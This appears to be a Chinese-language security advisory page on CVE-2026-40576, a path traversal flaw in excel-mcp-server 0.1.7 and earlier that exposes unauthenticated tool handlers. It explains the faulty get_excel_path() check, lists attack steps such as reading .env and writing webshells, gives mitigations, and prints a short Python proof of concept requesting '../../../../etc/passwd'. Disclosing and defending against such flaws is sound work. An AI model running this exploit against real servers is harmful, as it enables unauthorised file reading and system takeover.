IPBUF安全漏洞报告
English
CVE-2026-40576 CVSS 9.4 严重

CVE-2026-40576 excel-mcp-server路径遍历漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40576
漏洞类型
路径遍历
CVSS评分
9.4 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
excel-mcp-server

相关标签

路径遍历excel-mcp-server任意文件读写远程代码执行CVE-2026-40576

漏洞概述

excel-mcp-server是一个用于Excel文件操作的MCP服务器。其0.1.7及之前版本存在路径遍历漏洞。当使用SSE或Streamable-HTTP传输模式时,由于缺乏身份验证且默认绑定0.0.0.0,攻击者可利用该漏洞远程读取、写入或覆盖主机文件系统上的任意文件。该漏洞源于get_excel_path()函数未能正确验证文件路径,导致安全边界失效。

技术细节

该漏洞的核心在于get_excel_path()函数未能正确限制文件操作范围。该函数本应将操作严格限制在EXCEL_FILES_PATH环境变量指定的目录内,但存在两个关键缺陷:首先,它直接透传绝对路径而未进行任何安全检查;其次,在处理相对路径时,它直接拼接路径而未进行规范化解析或验证。由于服务器默认在SSE或Streamable-HTTP传输模式下运行,且监听0.0.0.0并无需身份验证,攻击者可以远程访问暴露的25个MCP工具处理程序。通过构造包含路径遍历序列(如../)的恶意文件路径参数,攻击者能够轻松绕过目录限制,读取敏感配置(如.env)、写入Webshell或覆盖关键系统文件。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,寻找监听在0.0.0.0且使用SSE或Streamable-HTTP模式的excel-mcp-server服务。
STEP 2
2. 发起攻击
攻击者无需认证,直接向服务器暴露的25个工具处理程序之一发送特制的JSON请求。
STEP 3
3. 路径遍历
请求中包含精心构造的文件路径参数(如'../../../etc/passwd'),利用get_excel_path()函数的校验缺陷绕过目录限制。
STEP 4
4. 执行操作
服务器解析恶意路径,导致攻击者能够读取服务器上的敏感文件,或写入/覆盖任意文件,获取系统控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Exploit Title: CVE-2026-40576 - excel-mcp-server Path Traversal # Description: PoC to read arbitrary files using path traversal. TARGET_URL = "http://target-host:port/sse" # Replace with actual target URL # The vulnerability affects any of the 25 exposed tool handlers. # We simulate a request to a handler that takes a 'filepath' argument. payload = { "method": "tools/call", "params": { "name": "read_sheet", # Example tool name "arguments": { "filepath": "../../../../etc/passwd" # Path traversal payload } } } try: headers = {'Content-Type': 'application/json'} response = requests.post(TARGET_URL, data=json.dumps(payload), headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

excel-mcp-server <= 0.1.7

防御指南

临时缓解措施
如果无法立即升级,应停止服务或通过网络访问控制列表(ACL)限制对服务端口的访问,确保仅受信任的内网IP可以连接。同时,检查服务器日志以确认是否已被入侵。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表